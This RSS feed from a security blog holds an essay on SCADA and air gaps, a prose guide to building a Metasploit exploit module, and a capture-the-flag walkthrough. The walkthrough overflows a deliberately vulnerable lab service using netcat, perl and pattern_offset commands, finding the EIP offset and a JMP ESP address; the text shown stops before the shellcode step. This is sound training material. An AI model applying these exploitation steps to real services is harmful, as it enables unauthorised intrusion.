<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Bill's Security Blog</title>
	<atom:link href="http://www.wrgross.com/blogs/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wrgross.com/blogs/security</link>
	<description>All manner of goodness respecting the secure operation of digital systems.</description>
	<pubDate>Wed, 23 Nov 2011 15:19:39 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>SCADA, DCS, and air gaps</title>
		<link>http://www.wrgross.com/blogs/security/2011/11/23/scada-dcs-and-air-gaps/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/11/23/scada-dcs-and-air-gaps/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 15:19:39 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Control Systems]]></category>

		<category><![CDATA[Critical Infrastructure]]></category>

		<category><![CDATA[Mitigation]]></category>

		<category><![CDATA[Vectors]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=290</guid>
		<description><![CDATA[When most people talk about SCADA, they are generally including a whole lot of stuff that is not SCADA.
In general, true SCADA systems are and must be connected in some way. This is generally because they are located over a large geographical area. DCS systems are sometimes called SCADA, but they are not. DCS systems [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-thumbnail wp-image-293" title="Control Room" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/11/controlroom-150x150.jpg" alt="" width="150" height="150" />When most people talk about SCADA, they are generally including a whole lot of stuff that is not SCADA.</p>
<p>In general, true SCADA systems are and must be connected in some way. This is generally because they are located over a large geographical area. DCS systems are sometimes called SCADA, but they are not. DCS systems are what you find in small foot-print facilities, like a prison, a power plant, a bottling company.</p>
<p>These systems are generally similar in that they monitor and control a physical process. In the case of SCADA, these are dispersed over a large geographical area. In DCS, they are centrally located. In almost ALL cases, there is never a need to receive data from &#8220;outside&#8221; the SCADA or DCS system. The data is generated inside the system, and is often pumped out for analysis and monitoring. (It&#8217;s when we connected them that we screwed the poodle.)</p>
<p>This is important when it comes to securing these systems. When your digital assets are located over a large geographical area, you need some type of connectivity (4G, wired Internet, RF, whatever) that ties these together. This increases the attack surface.</p>
<p>However, if all your digital systems are in one small geographical area (e.g., a industrial plant), it&#8217;s easy to &#8220;snip the wire.&#8221;</p>
<p>Now, we can have a religious debate about air gaps - but that&#8217;s meaningless. When people say, &#8220;there&#8217;s no such thing as an air gap&#8221; they assume a whole bunch of conditions that may or may not be true. For the record, I will smack the next person that says, &#8220;there&#8217;s no such thing as an air gap.&#8221; The correct expression is &#8220;creating an air gap is hard.&#8221;</p>
<p>When securing industrial facilities that use digital equipment of various vintage and capability, creating an electronic air-gap is one step in implementing a robust &#8220;air gap&#8221;.</p>
<p>I try to think about the &#8220;air gap&#8221; as implementing controls to address &#8220;bad juju&#8221; that can get into or out of your digital equipment along 5 key vectors:</p>
<ol>
<li>Direct network access (all types)</li>
<li>Wireless network access (all types)</li>
<li>Portable media and equipment (used to maintain digital assets, or to move data to-or-from digital assets)</li>
<li>Direct physical access (if you can touch it, you can pwn it&#8230;)</li>
<li>Supply chain (including vendor patching processes, and procurement-related issues)</li>
</ol>
<p>Certainly, these can be collapsed into two vectors - logical and physical access - however, adding some granularity helps with discussion!</p>
<p>To illustrate - if the digital asset has no wired or wireless networking, physical access is controlled to authorized people with appropriate training, portable media and equipment that is connected to the system for maintenance and patching is rigorously protected, and we ensure any software or hardware coming in through the supply chain has reasonable degrees of security - then we have a well protected system. (Note, this gives you a good start on the prevention piece, but does not solve the monitoring/detection or incident response piece).</p>
<p>To establish an &#8220;air gap&#8221; we must address threats that can materialize along any of the 5 key vectors. If we do this successfully, then I will say, &#8220;you have a pretty good air gap.&#8221;</p>
<p>These vectors are very hard to address in a corporate environment, where the critical asset is DATA, and not hardware. The data is too easy to move, so it is nearly impossible to address all vectors to the data. Securing SCADA systems is also hard for similar reasons. But in terms of complexity, to get equivalent levels of protection for Data, SCADA, or DCS, I think the distribution of work would look as follows:<br />
DATA - 85 %<br />
SCADA - 10 %<br />
DCS - 5 %<br />
IE, if you spent 5% of your security budget on your DCS system security, you&#8217;d get equivalent protection as the 85% you spent to protect DATA.</p>
<p>The challenge is - we&#8217;ve spent decades working on data security (centuries if you consider crypto a part of data security), but only short years talking about SCADA and DCS security. So, as all humans do, we have to screw this up 1,000 times before we spend 10 minutes trying to figure out how to do it right once&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/11/23/scada-dcs-and-air-gaps/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Metasploit module creation</title>
		<link>http://www.wrgross.com/blogs/security/2011/04/03/metasploit-module-creation/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/04/03/metasploit-module-creation/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 02:05:10 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[Metasploit]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=273</guid>
		<description><![CDATA[My friend Daniel “Mooky” Robertson provided this brief tutorial on Metasploit module creation.  Rather than incorporating it into the remote buffer overflow tutorial, his work deserves its own, stand-alone post.  This post references some of the research provided in the remote buffer overflow tutorial, so you may want to read both to get [...]]]></description>
			<content:encoded><![CDATA[<p>My friend Daniel “Mooky” Robertson provided this brief tutorial on Metasploit module creation.  Rather than incorporating it into the<a href="http://www.wrgross.com/blogs/security/2011/02/25/tutorial-%e2%80%93-remote-buffer-overflow-identification-and-exploitation/"> remote buffer overflow tutorial</a>, his work deserves its own, stand-alone post.  This post references some of the research provided in the remote buffer overflow tutorial, so you may want to read both to get the full picture.  Mooky solved he CTF about which the remote buffer overflow tutorial was written, and I thank him for his help and support!</p>
<p><strong>Metasploit Module Creation</strong></p>
<p><strong>Author:</strong> Daniel “Mooky” Robertson</p>
<p><strong>Revisions:</strong> 20110521 - to clarify language.</p>
<p>Metasploit module creation is as simple, or as complicated as you want to make it.  Some modules require exploit code longer than the entirety of this blog post.  Some others, on the other hand, are as little as 5 lines.  In this module, I&#8217;m going to make a few assumptions.  First being that you know the basics of the ruby scripting language.  If you don&#8217;t, please Google some tutorials.  There is a plethora of material, and I learned most of what I know about ruby from doing this myself.  Second, I&#8217;m going to assume you are using the <a href="http://www.wrgross.com/assets/code/metasploitmoduletemplate_rb.txt" target="_blank">template</a> provided here.</p>
<p>We&#8217;re only going to hit the important parts of the code, and discuss those.  The rest of the code is commented, and should be easy to adjust.</p>
<p>First we take our information we have gathered thus far:<br />
Filler: 260 bytes<br />
Location of JMP ESP: 0×77C6AFEE<br />
Max Payload: 1784<br />
Server port: 1337</p>
<p>The first area of importance we want to edit is the Payload area.  Payload is the amount of contiguous space we have to insert our payload.  Now I&#8217;m not going to go too deep into the different types of payload options that Metasploit has.  Suffice to say, there are ways to work with less space more efficiently.  But in this case, back to our math.  We shove 260 bytes of data in the front, then 4 for the memory address that we will place in EIP, and afterward we have 1784 bytes of data.  So we have 2 options, 260, or 1784.  Well, it is possible to stick a bind-back shell into 260 bytes of space.  But the object of this CTF challenge was to stick a meterpreter, and that requires a bit more.  So since the space is divided by the 4 bytes for EIP, and the space must be contiguous we discount the first 260 bytes entirely.  Our payload space therefore equals 1784.  Metasploit uses this data to determine what possible payloads can fit in an exploit module.  If a payload size exceeds the space allotted within the module, then it will not be shown.</p>
<blockquote><p>Note: If you want to test this, try this out.  Make the size 260, then enter Metasploit, load the module, and type “show payloads.”  Exit Metasploit, then change the number to 1784, and see how many more payload options show up.  Meterpreter is all of the sudden, an option, among other things.</p></blockquote>
<p>The other aspect within Payload we need to consider is BadChars.  BadChars are characters that the encoder will avoid in the process of packaging the payload.  I&#8217;m not going to go into detail about how to figure out which characters are bad.  Other people out on the web will do a far better job than I could.  But for the sake of this, understand that we are using a TCP connection, basically sending a char array across the wire.  A null byte, or “\x00” is a termination character.  Therefore we do not want to have our payload include this char in the encoding process.</p>
<p>Next to edit is the Targets section.  The format is: “[ 'Dispayed name of the system/version', {'Ret' =&gt;0xReturnMemoryAddress } ]”.  The first area in apostrophes is merely a human readable name so when you type “show targets,” you can choose the appropriate system platform of your intended victim.  The Ret value is the memory address which we want to stick into EIP.  Remember: EIP is the address of the next instruction to be executed, not the actual instruction itself.  In our case, the return value we found was 0&#215;77c6afee.  In my experience the Ret value has not been case sensitive.</p>
<p>Now we get to skip on to the good stuff.  “def exploit”&#8230;  Doesn&#8217;t that just sound nice?   Anyway, before I digress too much&#8230; the coding&#8230;.</p>
<p>First things first.  “connect” to the target.</p>
<p>Next we build the string that we&#8217;ll send to the remote application.  We basically already know what the string is we have to build.  It would look something like this:<br />
“{260 bytes of filler}{packed return address to stick in EIP}{the shellcode/payload of our choosing}”</p>
<p>Using the variable name buffer, we initially set its value to be 260 “A”&#8217;s.  The “&lt;&lt;” statements after this basically mean “tack whatever is to the right of this onto the end of the variable to the left.”  Next we have to stick in our return address for EIP.  But take note we cannot just write it as is!!  It HAS to be packed.  This is what the .pack(&#8217;V') function does for us.   Using the [target.ret].pack(&#8217;V'), you have the option of simply adding more targets to the appropriate section, and having a single module work for multiple platforms/OS versions.  If you pack the return address yourself, then unless you error check what the value of “target” was, you will essentially lock the module to only be applicable to a single OS version.</p>
<p>The “make_nops()” function returns what is called a NOP Sled.  NOP stands for NO Operation.  In assembly, there are certain function calls that essentially do not do anything.  The most famous one is \x90.  This basically tells it to call a sleep function for a clock cycle.  Certain IDS&#8217; have come to sniff network traffic for the existence of NOPs, and will subsequently catch and prevent the traffic from getting to your intended victim.  Therefore other ways of making NOPs have been discovered.  These include, but are not limited to doing such things as sending the bytes for the code “xor eax,eax”, or other legitimate instruction that will eat a few clock cycles, but still have the same result: which is will not mess with the execution of our payload.  In our case, since we know an exact location for where the call to JMP ESP is located, we don&#8217;t need a NOP sled, so I could remove it.</p>
<p>Finally the good stuff&#8230;  we insert our payload.  But we have to tack on the “.encode” function.</p>
<p>So at this point our exploit string, buffer, is completely ready to go.  We print a status message(please use these when debugging your code.  They make like so much easier.)  and we write it to the sock with the sock.put() method.  The handler starts whatever process are required to handle any interaction that the attacker and victim will have.  In our case it starts the module that will interact with the meterpreter payload we sent to our victim.  In other cases it will open a port on your local machine to listen for a reverse_tcp connection, or it will connect to a port that we set up a listening station on in the victim machine.  Lastly we disconnect.</p>
<p>Launch of msfconsole, load the module, set your options and exploit!<br />
If all went well, it&#8217;s “game over man! GAME OVER!!!!”</p>
<p>[Posted on behalf of Mooky]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wrgross.com/blogs/security/2011/04/03/metasploit-module-creation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial – remote buffer overflow identification and exploitation</title>
		<link>http://www.wrgross.com/blogs/security/2011/02/25/tutorial-%e2%80%93-remote-buffer-overflow-identification-and-exploitation/</link>
		<comments>http://www.wrgross.com/blogs/security/2011/02/25/tutorial-%e2%80%93-remote-buffer-overflow-identification-and-exploitation/#comments</comments>
		<pubDate>Sat, 26 Feb 2011 04:15:53 +0000</pubDate>
		<dc:creator>Bill Gross</dc:creator>
		
		<category><![CDATA[BackTrack]]></category>

		<category><![CDATA[Metasploit]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.wrgross.com/blogs/security/?p=237</guid>
		<description><![CDATA[Authors
Hakuza and Mooky
Purpose
This tutorial provides a step-by-step walk-through of the identification of a remotely accessible buffer overflow, information gathering, and the development of a Metasploit module to exploit the vulnerability.
Intended Audience
Minimal skills are necessary to follow this tutorial. This tutorial will be helpful to folks with no prior knowledge of the identification and development of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Authors</strong><br />
Hakuza and Mooky</p>
<p><strong>Purpose</strong><br />
This tutorial provides a step-by-step walk-through of the identification of a remotely accessible buffer overflow, information gathering, and the development of a Metasploit module to exploit the vulnerability.</p>
<p><strong>Intended Audience<br />
</strong>Minimal skills are necessary to follow this tutorial. This tutorial will be helpful to folks with no prior knowledge of the identification and development of an exploit for a remotely exploitable buffer overflow. Individuals familiar with developing buffer overflow attacks may not benefit from this tutorial.</p>
<p><strong>Background<br />
</strong>The <a href="http://novahackers.blogspot.com/">NoVA Hackers</a> community developed a <a href="http://novactf.org/challenges/challenge-january-2011/">capture the flag</a> event the goal of which is to identify a bug in a Windows-based service, develop an exploit, and implement a Metasploit module that will deliver a payload by exploiting the vulnerable application. The service being exploited is a custom application developed specifically for the CTF.</p>
<p><strong>Preparations</strong><br />
In order to follow along with this tutorial, a few tools will be necessary. Below is a description of the lab environment that was used to create this tutorial, however, any configuration that provides the identified tools should be acceptable.</p>
<p><strong>Methodology</strong><br />
This tutorial provides step-by-step instructions for all stages of the development of the exploit.</p>
<p>At each step, the activities performed, the results, and the relevant information (documented as FACTS) are recorded to aide the reader in the understanding of the information gathering activities.</p>
<p>A series of screenshots are provided as well. Click on the screen shot to view full size images.</p>
<p><strong>Lab Environment<br />
</strong>Two virtual machines running under <a href="http://www.virtualbox.org/">VirtualBox</a> were used to develop this tutorial.<br />
I have another blog post detailing how to <a href="http://www.wrgross.com/blogs/security/2009/11/08/setting-up-a-pen-testing-lab-in-a-box/">set up a virtual lab</a> of this variety.</p>
<p><strong>Windows Server 2003<br />
</strong>This host will run the vulnerable service and will run a debugger.<br />
Software:</p>
<ul>
<li>server.exe (<a href="http://novactf.org/challenges/challenge-january-2011/">download</a>)</li>
<li><a href="http://www.immunityinc.com/products-immdbg.shtml">Immunity Debugger</a></li>
</ul>
<p>Configuration:</p>
<ul>
<li>Disable Data Execution Prevention (DEP)</li>
</ul>
<p><strong>BackTrack 4</strong> (<a href="http://www.backtrack-linux.org/">download</a>)<br />
Any computer running the software below would be acceptable, but this tutorial was created using a virtual machine running BackTrack 4.<br />
Software:</p>
<ul>
<li><a href="http://www.perl.org/">perl</a></li>
<li><a href="http://linux.die.net/man/1/telnet">telnet</a></li>
<li><a href="http://nc110.sourceforge.net/">netcat</a></li>
<li><a href="http://www.metasploit.com/">Metasploit</a></li>
</ul>
<p>The Windows Server 2003 host will be referred to as WS2003, and the BackTrack 4 host will be referred to as BT4 for the remainder of the tutorial.</p>
<p><strong>Information Gathering<br />
</strong>The first step is to gather some information about the target server, and the targeted service (server.exe).</p>
<p><strong>Determine IP of Target Host</strong></p>
<p><div id="attachment_241" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf001.jpg" target="_blank"><img class="size-thumbnail wp-image-241" title="ipconfig" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf001-150x150.jpg" alt="ipconfig" width="150" height="150" /></a><p class="wp-caption-text">ipconfig</p></div></p>
<p>On WS2003 box:</p>
<pre>C:\&gt;ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.1.0.1
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :</pre>
<p><strong>FACT</strong>: Target server binds to 10.1.0.1</p>
<p><strong>Determine Service Options and Flags</strong> [002]</p>
<p><div id="attachment_243" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf002.jpg" target="_blank"><img class="size-thumbnail wp-image-243" title="Explore service options" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf002-150x150.jpg" alt="Explore service options" width="150" height="150" /></a><p class="wp-caption-text">Explore service options</p></div></p>
<p>Start server.exe using the command line with various switches.<br />
Try:</p>
<pre>C:\&gt; server.exe /h</pre>
<p>Nothing</p>
<pre>C:\&gt; server.exe /help</pre>
<p>Nothing</p>
<pre>C:\&gt; server.exe /?</pre>
<p>Nothing</p>
<pre>C:\&gt; server.exe /debug</pre>
<p>Nothing<br />
The service does not expose any meaningful information&#8230;</p>
<p><strong>Determine if Service Binds to a Socket<br />
</strong>Check netstat before starting server.exe:</p>
<p><div id="attachment_245" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf003.jpg" target="_blank"><img class="size-thumbnail wp-image-245" title="Network connections without server.exe running" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf003-150x150.jpg" alt="Network connections without server.exe running" width="150" height="150" /></a><p class="wp-caption-text">Network connections without server.exe running</p></div></p>
<pre>C:\&gt;netstat /a
Active Connections
Proto Local Address Foreign Address State
TCP ws2003:http ws2003:0 LISTENING
TCP ws2003:epmap ws2003:0 LISTENING
TCP ws2003:microsoft-ds ws2003:0 LISTENING
TCP ws2003:1025 ws2003:0 LISTENING
TCP ws2003:1026 ws2003:0 LISTENING
TCP ws2003:netbios-ssn ws2003:0 LISTENING
UDP ws2003:microsoft-ds *:*
... ....</pre>
<p>Now, start the server and try again&#8230;</p>
<p><div id="attachment_246" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf004.jpg" target="_blank"><img class="size-thumbnail wp-image-246" title="Network connections with server.exe running" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf004-150x150.jpg" alt="Network connections with server.exe running" width="150" height="150" /></a><p class="wp-caption-text">Network connections with server.exe running</p></div></p>
<pre>C:\&gt;netstat /a
Active Connections
Proto Local Address Foreign Address State
TCP ws2003:http ws2003:0 LISTENING
TCP ws2003:epmap ws2003:0 LISTENING
TCP ws2003:microsoft-ds ws2003:0 LISTENING
TCP ws2003:1025 ws2003:0 LISTENING
TCP ws2003:1026 ws2003:0 LISTENING
TCP ws2003:1337 ws2003:0 LISTENING
TCP ws2003:netbios-ssn ws2003:0 LISTENING
UDP ws2003:microsoft-ds *:*
... ....</pre>
<p><strong>FACT</strong>: Service binds to TCP port 1337</p>
<p><strong>Probe the Service Using Nmap</strong></p>
<p><div id="attachment_247" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf005.jpg" target="_blank"><img class="size-thumbnail wp-image-247 " title="Nmap scan" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf005-150x150.jpg" alt="Nmap scan" width="150" height="150" /></a><p class="wp-caption-text">Nmap scan</p></div></p>
<p>On BT4 box:</p>
<pre>root@bt:~# nmap -p1-65535 10.1.0.1
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-14 01:03 EST
Nmap scan report for 10.1.0.1
Host is up (0.00034s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1337/tcp open waste
MAC Address: 08:00:27:AC:E3:71 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 36.68 seconds</pre>
<p><strong>FACT</strong>: Service exposes service name: waste</p>
<p><strong>Probe Service Using Netcat</strong></p>
<p><div id="attachment_248" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf006.jpg" target="_blank"><img class="size-thumbnail wp-image-248" title="Basic probing with nc" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf006-150x150.jpg" alt="Basic probing with nc" width="150" height="150" /></a><p class="wp-caption-text">Basic probing with nc</p></div></p>
<p>Start server.exe on the WS2003 host, then netcat from the BT4 host to the service on the target server and type a few things&#8230;</p>
<p>On WS2003 box:</p>
<pre>C:\ctf&gt;server.exe</pre>
<p>On BT4 box:</p>
<pre>root@bt:~# nc 10.1.0.1 1337
hello
hello
ECHO Echo echo
ECHO Echo echo
^C
root@bt:~#</pre>
<p>On WS2003 box, notice the output:</p>
<pre>Bytes received: 6
Bytes sent: 6
Bytes received: 15
Bytes sent: 15
Connection closing...</pre>
<p><strong>FACTS</strong>:<br />
server.exe prints the number of bytes received<br />
server.exe echo&#8217;s the received bytes back to the client<br />
server.exe prints the number of bytes sent to the client</p>
<p>This means that server.exe is most likely copying data off the wire into some kind of string buffer.</p>
<p><strong>Determine if Vulnerable to Buffer Overflow</strong></p>
<p><div id="attachment_249" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf007.jpg" target="_blank"><img class="size-thumbnail wp-image-249" title="Overflow attempt with nc" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf007-150x150.jpg" alt="Overflow attempt with nc" width="150" height="150" /></a><p class="wp-caption-text">Overflow attempt with nc</p></div></p>
<p>Attempt to send a large amount of data to the service.</p>
<p>The command below generates a string of 5000 A&#8217;s and sends them to the target service using Netcat.</p>
<p>On BT4 box:</p>
<pre>root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.1 1337
root@bt:~#</pre>
<p>On WS2003 box:</p>
<pre>C:\ctf&gt;server.exe
Bytes received: 2048
C:\ctf&gt;</pre>
<p>Hmm&#8230; That&#8217;s interesting - I sent 5000 a&#8217;s but server reports 2048 received, then it closed the connection&#8230;</p>
<p><strong>View Error Logs for Additional Information</strong></p>
<p><div id="attachment_250" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf008.jpg" target="_blank"><img class="size-thumbnail wp-image-250" title="Error log" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf008-150x150.jpg" alt="Error log" width="150" height="150" /></a><p class="wp-caption-text">Error log</p></div></p>
<p>The full Error Log entries (from the Windows Event Manager) are copied below (at the end of the tutorial). Looks like an overflow.</p>
<p>From the error logs, additional facts can be obtained&#8230;</p>
<p><strong>FACTS</strong>:<br />
Failure code c0000005 = Access Violation<br />
Fault address 0&#215;61616161<br />
0&#215;61616161 - 61 is hex for &#8216;a&#8217; - so we overwrote the EIP!<br />
Server.exe vulnerable to, at least, remote Denial of Service (DOS)<br />
Server.exe may be vulnerable to remote code execution via buffer overflow</p>
<p><strong>Verify Vulnerability to Buffer Overflow</strong></p>
<p><div id="attachment_251" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf009.jpg" target="_blank"><img class="size-thumbnail wp-image-251" title="Verifying buffer overflow" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf009-150x150.jpg" alt="Verifying buffer overflow" width="150" height="150" /></a><p class="wp-caption-text">Verifying buffer overflow</p></div></p>
<p>On WS2003 box:<br />
Start Immunity Debugger<br />
Open server.exe<br />
Hit F9<br />
NOTE: In order for this to work, I needed to hit Shift+F9 after starting the run in the debugger. This was the case for every execution of server.exe when using the debugger.</p>
<p>On BT4 box:</p>
<pre>root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.2 1337</pre>
<p>In Immunity Debugger, notice that:<br />
Both EAX and ESP have values represented as ASCII strings of a&#8217;s<br />
EIP has value: 0&#215;61616161</p>
<p><strong>FACT</strong>: server.exe is vulnerable to remote buffer overflow, and likely remote code execution</p>
<p><strong>Determine Location of Overflow<br />
</strong>At some point, the input filled the memory pointed to by EAX, and EIP, and possibly all of ESP.</p>
<p>The goal of this step is to determine precisely where in the input the value of EIP is overwritten.</p>
<p>If we can determine where EIP is overwritten, and can write custom shellcode into ESP (which should be trivial, since we have already overwritten ESP), then we are golden.</p>
<p>Our goal will be to store shellcode in the buffer pointed to by ESP, and then overwrite EIP with a command to execute the code in ESP (using the call &#8220;JMP ESP&#8221;).</p>
<p>Metasploit provides the tools pattern_create and pattern_offset that can be used to find the location, in the input stream, where EIP is overwritten.</p>
<p>The tool pattern_create creates a random-valued string of user-defined length. The tool pattern_offset will find the offset of a substring within in a string created using pattern_create.</p>
<p>The EIP register will be overwritten with 4 bytes from our string. We can feed those 4 bytes to pattern_offset to show exactly how many bytes of input are needed prior to EIP being overwritten.</p>
<p>Knowing exactly where EIP is overwritten is crucial to the creation of our exploit.</p>
<p>On WS2003 box:<br />
Start Immunity Debugger<br />
Open server.exe<br />
Hit F9<br />
NOTE: Again, in order for this to work, I needed to hit Shift+F9 after starting the run.</p>
<p>On BT4 box:</p>
<pre>root@bt:~# /opt/metasploit3/msf3/tools/pattern_create.rb 5000 &gt; overflow.txt
root@bt:~# cat overflow.txt | nc 10.1.0.1 1337</pre>
<p>On the WS2003 box, in Immunity Debugger (ID), notice that EIP has value: 0&#215;37694136</p>
<p><div id="attachment_252" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf010.jpg" target="_blank"><img class="size-thumbnail wp-image-252" title="Determine value in EIP register" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf010-150x150.jpg" alt="Determine value in EIP register" width="150" height="150" /></a><p class="wp-caption-text">Determine value in EIP register</p></div></p>
<p>This value is Hex representation of the substring from the input written into EIP when the EAX buffer overflowed.</p>
<p>Stop the program in ID.</p>
<p><div id="attachment_253" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf011.jpg" target="_blank"><img class="size-thumbnail wp-image-253" title="Find offset of the value in EIP" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf011-150x150.jpg" alt="Find offset of the value in EIP" width="150" height="150" /></a><p class="wp-caption-text">Find offset of the value in EIP</p></div></p>
<p>On BT4 box:</p>
<pre>root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 37694136 5000
260</pre>
<p>So, at location 260 in the input, the EAX buffer is full, and the next four bytes are written into the EIP register.</p>
<p><strong>FACT</strong>: EIP overwrites after 260 input bytes</p>
<p><strong>Test the EIP Overwrite Location<br />
</strong>The goal of this step is to verify the location discovered above. We will do this by creating a string of 260 x&#8217;s, followed by four a&#8217;s, followed by 500 y&#8217;s. Our hope is to see the value 0&#215;61616161 in the EIP register.</p>
<p>On WS2003 box:<br />
Start Immunity Debugger<br />
Open server.exe<br />
Hit F9<br />
Hit Shift+F9 after starting the run</p>
<p>On BT4 box:</p>
<pre>root@bt:~# perl -e "print 'x' x 260 . 'aaaa' . 'y' x 500" &gt; overflow2.txt
root@bt:~# cat overflow2.txt | nc 10.1.0.1 1337</pre>
<p><div id="attachment_254" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf012.jpg" target="_blank"><img class="size-thumbnail wp-image-254" title="Confirm offset location" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf012-150x150.jpg" alt="Confirm offset location" width="150" height="150" /></a><p class="wp-caption-text">Confirm offset location</p></div></p>
<p>Notice that EIP has value: 0&#215;61616161</p>
<p>Also, note that EAX points to a string filled with x&#8217;s and ESP points to a string of y&#8217;s, exactly as we want.</p>
<p>Sweet. We have confirmed that EIP is overwritten after 260 bytes of input, and that we can overwrite both EAX and ESP buffers.</p>
<p><strong>Find Call to JMP ESP<br />
</strong>The EIP register holds the location, in memory, of the next instruction to execute.</p>
<p>We have shown that we can overwrite ESP.</p>
<p>We have also shown we can overwrite EIP with any value we want, so we will store some shellcode at the location pointed to by ESP, then fill EIP with the location of a command that simply says &#8220;go execute the code in the ESP.&#8221;</p>
<p>When the CPU asks IEP the next command to execute, EIP will answer, &#8220;it&#8217;s at ESP!&#8221;</p>
<p>In order to exploit this vulnerability, we will need to write our shellcode into ESP, then fill EIP with a command to jump to the ESP.</p>
<p>We need to find a memory location in server.exe (or one of its loaded modules) that has the command for &#8220;JMP ESP.&#8221;</p>
<p><div id="attachment_255" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf013.jpg" target="_blank"><img class="size-thumbnail wp-image-255 " title="Locate call to JMP ESP" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf013-150x150.jpg" alt="Locate call to JMP ESP" width="150" height="150" /></a><p class="wp-caption-text">Locate call to JMP ESP</p></div></p>
<p>To do so, load server.exe into Immunity Debugger.<br />
Click Alt+E<br />
For each dll, double click that line in the &#8220;Executible modules&#8221; window.<br />
Click Ctrl+F<br />
Type: JMP ESP<br />
If you get a hit, note the address location.</p>
<p><div id="attachment_256" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf014.jpg" target="_blank"><img class="size-thumbnail wp-image-256" title="Call to JMP ESP located" src="http://www.wrgross.com/blogs/security/wp-content/uploads/2011/02/201101ctf014-150x150.jpg" alt="Call to JMP ESP located" width="150" height="150" /></a><p class="wp-caption-text">Call to JMP ESP located</p></div></p>
<p>In our case, a call to JMP ESP was found in RPCRT4.dll at location: 0&#215;77C6AFEE</p>
<pre>77C6AFEE FFE4 JMP ESP</pre>
<p><strong>FACT</strong>: Call to JMP ESP is at location: 0&#215;77C6AFEE</p>
<p><strong>Determine Space Available for Shellcode<br />
</strong>Our next goal is to determine how much room we have to store shellcode. We hope it is enough to store a common payload.</p>
<p>I&#8217;m sure there&#8217;s a better way to do this, but&#8230;</p>
<p>We&#8217;ll re-use our earlier process described in &#8220;Determine Location of Overflow&#8221; to attempt to determine how much data we can store in ESP.</p>
